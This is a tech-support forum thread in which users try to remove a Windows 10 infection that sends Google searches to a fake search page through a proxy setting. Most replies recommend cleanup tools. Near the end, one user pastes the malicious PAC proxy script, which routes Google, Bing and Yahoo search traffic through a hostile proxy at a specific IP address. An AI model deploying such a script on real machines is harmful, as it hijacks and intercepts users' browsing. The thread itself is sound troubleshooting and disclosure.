Windows 10: Google redirection localhost.world

I have Windows 10 . And sometime i have a cmd popup show and close my chrome browser. After if i do a search on google, it's redirect to a fake google. I go to internet option, connection, network configuration, i have this:









I have cleanup with kasperky, ccleaner, adwcleaner and doesn't work. How to solve it ?

:)

 

Google/yahoo redirect

I had the same problem and ran a virus scan. I found a couple things and removed them, then the problem was fixed.

 

Google/yahoo redirect

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So, it appears you have some leftovers from an infection that you cleaned out, yes? Do you know what it was you found on the computer? It helps to know exactly what we're dealing with.

Perhaps you could try resetting Chrome to get rid of the leftovers:
How to Reset Your Web Browser To Its Default Settings

Let us know how it goes.

Edit: It's possible you have a rootkit that needs to be squashed.

 

I have already clen my browser and didnt worked. How can i remove a rootkit ?

 

https://www.malwarebytes.org/antirootkit/

Try the above.

 

thank you, but nothing found :'(

 

Can you please identify what the infection was that you found, so we know how to remove it?

 

As the screen show on the first post, i have the localhost thing on it. If i google something with this, its redirect with a fake google search. You want other screen or something other for identify ?

 

Bonjour Flavien! *Smile

Have you tried ZHPCleaner? I highly recommend it. ZHPCleaner

 

it have delete some, so i hope it will work. thank you

 

Pas de problème *Wink I hope it works for you!

 

You should try Roguekiller too.

 

My standard template for infections. (edited as you have used a few things)

What happens if you set the network configuration to 'automatic detect settings'?

 

Had same issues, blocked 69.197.188.122 in firewall, and ran ZHPCleaner; seems to have done the trick so far.

This was the content of the localhost.world file:
Code: function FindProxyForURL(url, host) { if (shExpMatch(host, "www.bing.com")) return "PROXY 69.197.188.122:8484"; if (shExpMatch(host, "*.search.yahoo.com")) return "PROXY 69.197.188.122:8484"; ga = /^https?:\/\/www\.google\.[a-zA-Z.]+\/?$/;if (ga.test(url)) { return "PROXY 69.197.188.122:8484" } gb = /^https?:\/\/www\.google\.[a-zA-Z.]+\/\?(.*)$/;if (gb.test(url)) { return "PROXY 69.197.188.122:8484" } gc = /^https?:\/\/www\.google\.[a-zA-Z.]+\/search\?(.*)$/;if (gc.test(url)) { return "PROXY 69.197.188.122:8484" } gd = /^https?:\/\/www\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gd.test(url)) { return "PROXY 69.197.188.122:8484" } ge = /^https?:\/\/www\.google\.[a-zA-Z.]+\/s\?(.*)$/;if (ge.test(url)) { return "PROXY 69.197.188.122:8484" } gx = /^https?:\/\/cse\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gx.test(url)) { return "PROXY 69.197.188.122:8484" } return "DIRECT"; }[/quote] BTW; I also updated the firmware for my Asus-router...